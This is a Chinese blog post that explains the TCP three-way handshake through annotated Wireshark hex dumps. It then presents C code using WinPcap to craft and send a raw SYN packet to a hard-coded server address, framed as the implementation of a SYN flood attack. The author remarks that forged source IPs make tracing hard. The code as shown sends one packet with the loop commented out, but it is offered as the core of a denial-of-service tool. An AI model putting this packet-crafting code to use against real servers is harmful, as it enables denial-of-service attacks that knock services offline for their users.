TCP三次握手报文 实例详解&&syn flood C/C++ 完整代码实现

在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。

第一次握手:

建立连接时,客户端发送syn包到服务器,并进入SYN_SENT状态,等待服务器确认;SYN:同步序列编号(Synchronize Sequence Numbers)。

第二次握手:

服务器收到syn包,必须确认客户的SYN,同时自己也发送一个SYN包),即SYN+ACK包,此时服务器进入SYN_RECV状态;

第三次握手:

客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。

完成三次握手,客户端与服务器开始传送数据.

TCP报文结构图:

TCP三次握手报文 实例详解&&syn flood C/C++ 完整代码实现_第1张图片

以下是我用wireshark抓的自己写的TCP C/S的三次握手包,三个tcp包(包含了物理帧+IP头+TCP头):(这操蛋的排版,我决定忽视这个问题了)

1
0000   48 5b 39 e9 e5 c0 b8 70 f4 1c c3 0808 00 45 00  

        以颜色为单位,分别是物理帧下的目的MAC,源MAC,协议类型(0800是IP协议)


0010   00 34 21 52 40 00 80 06 78 a4 73 9b 3c be73 9b  

        IP段我挑着解释,毕竟不是本文的重点,若读者有兴趣,可以去看我解释ICMP的那篇文章

        还是以颜色为单位,发送者IP(伪造后别人就很难追查了),目的IP

0020  3c d9 0c 2a17 705f 91 fb 71 00 00 00 00 8002  

         源端口(0x0c2a),目的端口,SEQ=5f 91 fb 71 ,ACK=0, 02按照上图知,是syn=1,其它都为0

          所以这个包是一个syn包(syn=1,ack(此处为小写,表示标志位)=0)


0030   20 00 6f ab 00 00 02 04 05 b4 01 03 03 02 01 01   

0040   04 02                                          

2
0000   b8 70 f4 1c c3 08 48 5b 39 e9 e5 c0 08 00 45 00
0010   00 34 34 5d 40 00 40 06 a5 99 73 9b 3c d9 73 9b

0020   3c be 17 70 0c 2a 40 39 15 6f5f 91 fb 72 80 12

SEQ=40 3915 6f(是服务器随机生成的),ACK(大写和标志位的小写区别开来)=5f 91 fb 72

这里的ACK是对前一个收到的包的确认,把之前包的SEQ+1, 16进制的12是18=16+2,所以syn=1,ack=1
0030   20 00 19 ec 00 00 02 04 05 b4 01 03 03 08 01 01            
0040   04 02


3
0000   48 5b 39 e9 e5 c0 b8 70 f4 1c c3 08 08 00 45 00 
0010   00 28 21 53 40 00 80 06 78 af 73 9b 3c be 73 9b 

0020   3c d9 0c 2a 17 70 5f 91 fb 7240 39 15 705010 

       .     SEQ=5f 91 fb 72,ACK=40 39 15 70(收到的上一个包的SEQ+1),10是16,ack=1
0030   40 29 3a 96 00 00                           

总结一下就是:

第一次:seq随机x,ACK=0,syn=1,ack=0,
第二次:seq随机y,ACK=X+1,syn=1,ack=1
第三次:seq=x+1,ACK=Y+1,syn=0,ack=1


OK,已分析完.

syn flood 就是不停的去和服务器某个打开的端口请求连接,然后服务器收到后就会给你回一个ACK包,这时如果你回复一个ACK包,就可以和服务器建立正常的TCP连接,

当然了你是想攻击服务器,所以你不用理它,继续换个端口(你自己的)再次请求和服务器建立连接,重复这个过程.

服务器收到你的请求包之后,兴高采烈的在内存中分配了一些资源准备和你建立连接,由于你一直不理她,她会等啊等啊,一直到达一个预定的超时时间后,才会坚决的从内存中

释放掉为你准备的资源,彻底忘了你这个家伙.

只是每台服务器的并发连接数(能同时让多少用户连接)和资源是有限的,你一直在换端口和她请求连接,服务器维护的半连接队列满了之后就不能为其它用户提供正常的服务,

这就是拒绝服务Dos了.

所以想要实现syn flood 只需要不停发第一次握手的包就可以了(记得每个包,源端口也就是你的端口都要不一样)


先把文章放这,等我明天华为面试完了再把代码补上来,2014年5月5日 18:36:59

蛋疼,去了才和我说,我是明天那一批的,还不能霸面......

技术面被刷了,因为我一直在和面试官扯TCP/IP的知识,他说这个和我应聘软件研发没有多大关系,回去继续努力吧,,,

汗,第一次面试没有经验,就这样GG了


以下是代码

#include "stdio.h"
#include "winsock2.h"
#pragma comment(lib,"ws2_32.lib")
#include 
#pragma comment(lib,"wpcap.lib")
const char* MYIP="115.155.8.87";//我的IP
const char* DSTIP="202.117.119.1";//服务器IP

USHORT checksum(USHORT *buffer, int size)//这是检验和函数,复制网上的,没什么好注释的
{
	unsigned long cksum=0;
	while(size >1)
	{
		cksum+=*buffer++;
		size -=sizeof(USHORT);
	}
	if(size )
	{
		cksum += *(UCHAR*)buffer;
	}
	cksum = (cksum >> 16) + (cksum & 0xffff);
	cksum += (cksum >>16);
	return (USHORT)(~cksum);
}

typedef struct  _ethHeader//物理帧
{
	BYTE dMac[6];
	BYTE sMac[6];
	USHORT type;
};
typedef struct _ipHeader//20 字节的IP头部
{
	BYTE VerAndH_length;//版本号和头部长度
	BYTE tos;//优先级
	USHORT totalLength;
	USHORT id;
	USHORT flagANDfrag;//标识和分片
	BYTE ttl;
	BYTE type;
	USHORT cksum;
	ULONG sIP;
	ULONG dIP;
};
typedef struct _tcpHeader//20 字节的TCP头部
{
	USHORT sPort;
	USHORT dPort;
	ULONG seq;
	ULONG ack;
	BYTE h_length;//这个值==长度<<2
	BYTE flag;
	USHORT wsize;//窗口大小
	USHORT cksum;//tcp头部+伪头部+data
	USHORT urgpoint;//紧急指针
	BYTE options[12];
};

typedef struct _psdTcp//12字节的伪TCP头部
{
	ULONG sAddr;
	ULONG dAddr;
	BYTE x;//设为0即可
	BYTE type;//协议号,一定为6,表示TCP
	USHORT dataLength;//整个TCP长度,包括tcp头部+伪头部+data(如果有)
};
void main()
{
	_ethHeader ethHeader;
	_ipHeader ipHeader;
	_tcpHeader tcpHeader;
	_psdTcp psdTcp;

	//物理帧
	//由于数据包是发给别的网段的,所以物理帧接收者是网关
	//在我IP是115.155.6.90时,网关MAC是 c4-ca-d9-de-dc-f3

	BYTE temp[6]={0xc4,0xca,0xd9,0xde,0xdc,0xf3};//网关MAC
	memcpy(ethHeader.dMac,temp,6);
	BYTE temp2[6]={0x68,0xA3,0xC4,0xF2,0x5B,0xFF};
	memcpy(ethHeader.sMac,temp2,6);
	ethHeader.type=0x0008;//这些数值都是直接顺着由高到低赋值,00 高 08 低

	//IP头
	ipHeader.VerAndH_length=0x45;
	ipHeader.tos=0;
	ipHeader.totalLength=htons(52);//IP头20+TCP头32
	ipHeader.id=htons(2345);
	ipHeader.flagANDfrag=0;//不分片
	ipHeader.ttl=0x80;
	ipHeader.type=6;//TCP
	ipHeader.cksum=0;
	ipHeader.sIP=inet_addr(MYIP);
	ipHeader.dIP=inet_addr(DSTIP);
	ipHeader.cksum=checksum((USHORT*)&ipHeader,sizeof(ipHeader));

	//TCP
	tcpHeader.sPort=htons(1095);//赋值最好用htons 函数,不然高低位是反的
	tcpHeader.dPort=htons(80);
	tcpHeader.seq=0xa5dd24ee;
	tcpHeader.ack=0;
	tcpHeader.h_length=32<<2;//32个字节
	tcpHeader.flag=2;//syn
	tcpHeader.wsize=htons(8192);
	tcpHeader.cksum=0;
	tcpHeader.urgpoint=0;
	byte tempdata[12]={0x02,0x04,0x05,0xb4,
		0x01,0x03,0x03,0x02,0x01,0x01,0x04,0x02};
	memcpy(tcpHeader.options,tempdata,12);

	psdTcp.sAddr=inet_addr(MYIP);
	psdTcp.dAddr=inet_addr(DSTIP);
	psdTcp.type=6;//协议类型,6为TCP
	psdTcp.x=0;
	psdTcp.dataLength=htons(32);//TCP长度,包括头部和数据

	//先将TCP组合起来,计算校验和,将伪IP头放在TCP前面
	UCHAR buf_tcp[100];
	int psdSize=sizeof(psdTcp);//12
	memcpy(buf_tcp,&psdTcp,psdSize);
	memcpy(buf_tcp+psdSize,&tcpHeader,sizeof(tcpHeader));
	psdSize+=sizeof(tcpHeader);
	tcpHeader.cksum=checksum((USHORT*)buf_tcp,psdSize);//计算TCP的校验和

	//合并数据包
	u_char buf[100];
	int len=0;
	memcpy(buf,ðHeader,sizeof(ethHeader));
	len+=sizeof(ethHeader);
	memcpy(buf+len,&ipHeader,sizeof(ipHeader));
	len+=sizeof(ipHeader);
	memcpy(buf+len,&tcpHeader,sizeof(tcpHeader));
	len+=sizeof(tcpHeader);

	pcap_if_t* alldevs;//以下是利用winpcap发送数据包,就那么几个函数,反正写了也没人看,就不注释了
	char err[1000];    //要是读者有疑问,可以留言,我看到就回
	pcap_findalldevs(&alldevs,err);
	char* name;
	name=alldevs->name;//无线网,我是笔记本,所以排在第一的是无线网卡
	//name=alldevs->next->name;//以太网
	pcap_t * fp;
	fp=pcap_open(name,100,PCAP_OPENFLAG_PROMISCUOUS,1000,NULL,err);
	//for(int i=5;i>0;i--)
	pcap_sendpacket(fp,buf,len);
	pcap_close(fp);
	pcap_freealldevs(alldevs);
}

结果截图:

第一个包是我发的,第二个是服务器返回的,

2014年5月9日 19:36:27


你可能感兴趣的:(socket)